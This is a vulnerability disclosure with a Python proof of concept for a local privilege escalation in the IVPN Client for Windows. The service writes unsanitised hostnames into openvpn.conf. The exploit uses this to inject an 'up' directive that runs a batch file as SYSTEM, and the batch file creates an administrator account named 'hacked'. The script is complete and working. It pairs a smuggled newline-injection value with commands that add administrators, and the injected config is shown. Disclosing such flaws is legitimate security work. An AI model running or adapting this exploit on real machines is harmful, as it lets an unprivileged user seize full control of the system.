IVPN Client for Windows 2.6.6120.33863 Privilege Escalation

Homepage:

https://www.ivpn.net/

Description:

IVPN Client runs as SYSTEM process.

wmic service where name="IVPN Client" get StartName
StartName
LocalSystem

It’s main role is starting openvpn.exe as SYSTEM process.

Standard user cannot change path and executable which points to openvpn.exe.

But he can write to openvpn.conf using service.

Service reads data from socket, parse it and save to openvpn.conf.

But inside GenerateConfiguration method there is bug which leads to comand injection:

foreach (string current in this.remotes)
{
	arrayList.Add(string.Format("remote {0} {1}", current, this.remotePort));
}

We can use this for Privilege Escalation because of --up switch from openvpn.exe:

--up cmd        : Run command cmd after successful tun device open.
--script-security level: Where level can be:
                  0 -- strictly no calling of external programs
                  1 -- (default) only call built-ins such as ifconfig
                  2 -- allow calling of built-ins and scripts
                  3 -- allow password to be passed to scripts via env

Proof of Concept:

Download Exploit

import socket

print "IVPN Client for Windows 2.6.6120.33863 Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

hostname = "is.gw.ivpn.net 2049"
username = "your_username"
password = "your_password"

open(r'c:\1\test.bat', 'w').write('net user hacked /add\nnet localgroup administrators hacked /add')

port = int(open(r"c:\Program Files\IVPN Client\etc\port.txt").read())

a = r'{"$type":"IVPN.OpenVPNServer, IVPN.Core","id":"id","region":"region","country":"country","city":"city","hostnames":{"$type":"System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib","$values":["'+hostname+r'\r\nup c:\\\\1\\\\test.bat\r\nverb"]},"ports":{"$type":"System.Collections.Generic.List`1[[IVPN.OpenVPNServerPort, IVPN.Core]], mscorlib","$values":[{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000}]}}'

b = r'{"$type":"IVPN.IVPNConnectRequest, IVPN.Core","entryServer":'+a+',"exitServer":'+a+',"username":"'+username+'","password":"'+password+'","portProtocol":{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000},"proxyType":"sth","proxyAddress":"proxyAddress","proxyPort":100,"proxyUsername":"proxyUsername","proxyPassword":"proxyPassword"}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", port))
s.send(b)

print "OK"

This will create:

client
management 127.0.0.1 50569
management-client
management-signal
hand-window 15
log C:\\Program\ Files\\IVPN\ Client\\log\\openvpn.log
dev tun
proto tcp
remote is.gw.ivpn.net 2049
up c:\\1\\test.bat
verb 2000
auth-user-pass "C:\\Program\ Files\\IVPN\ Client\\etc\\auth.txt"
resolv-retry infinite
nobind
persist-key
ca "C:\\Program\ Files\\IVPN\ Client\\etc\\ca.crt"
tls-auth "C:\\Program\ Files\\IVPN\ Client\\etc\\ta.key" 1
cipher AES-256-CBC
ns-cert-type server
comp-lzo
verb 4
cd "C:\\Program\ Files\\IVPN\ Client"
script-security 2

Timeline: